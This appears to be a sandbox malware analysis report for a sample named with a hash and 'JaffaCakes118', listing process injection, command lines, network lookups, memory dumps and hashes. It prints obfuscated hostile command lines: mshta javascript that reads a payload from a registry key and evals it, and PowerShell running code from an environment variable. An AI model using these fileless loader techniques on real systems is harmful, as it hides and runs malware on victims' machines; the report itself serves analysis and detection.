PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 1692 wrote to memory of 700 N/A C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe
PID 4504 wrote to memory of 1724 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4504 wrote to memory of 1724 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4504 wrote to memory of 1724 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7d8cb3afba3fcc5a19dcdc7b68c7d088_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:LJpM7ju="RQTxa";c2s4=new%20ActiveXObject("WScript.Shell");Lpel73bkp="LS";lsbu0=c2s4.RegRead("HKLM\\software\\Wow6432Node\\Xpa7mb\\mHcXqYrdD");yka2O0="06iFtm";eval(lsbu0);SPjfe6yx="Him6K";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rqecreuc

Network

Country Destination Domain Proto
US 8.8.8.8:53 18.24.18.2.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.113:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 113.61.62.23.in-addr.arpa udp
NL 23.62.61.113:443 www.bing.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 13.179.89.13.in-addr.arpa udp

Files

memory/700-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/700-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/700-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/700-6-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/700-7-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/700-10-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/700-9-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/700-8-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/700-11-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/700-12-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/1724-14-0x0000000005120000-0x0000000005156000-memory.dmp

memory/1724-15-0x0000000005790000-0x0000000005DB8000-memory.dmp

memory/1724-16-0x0000000005730000-0x0000000005752000-memory.dmp

memory/1724-17-0x0000000005F30000-0x0000000005F96000-memory.dmp

memory/1724-18-0x0000000005FA0000-0x0000000006006000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2oz1mja.vib.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1724-28-0x0000000006010000-0x0000000006364000-memory.dmp

memory/1724-29-0x00000000064C0000-0x00000000064DE000-memory.dmp

memory/1724-30-0x00000000064F0000-0x000000000653C000-memory.dmp

memory/1724-31-0x0000000007D20000-0x000000000839A000-memory.dmp

memory/1724-32-0x00000000069B0000-0x00000000069CA000-memory.dmp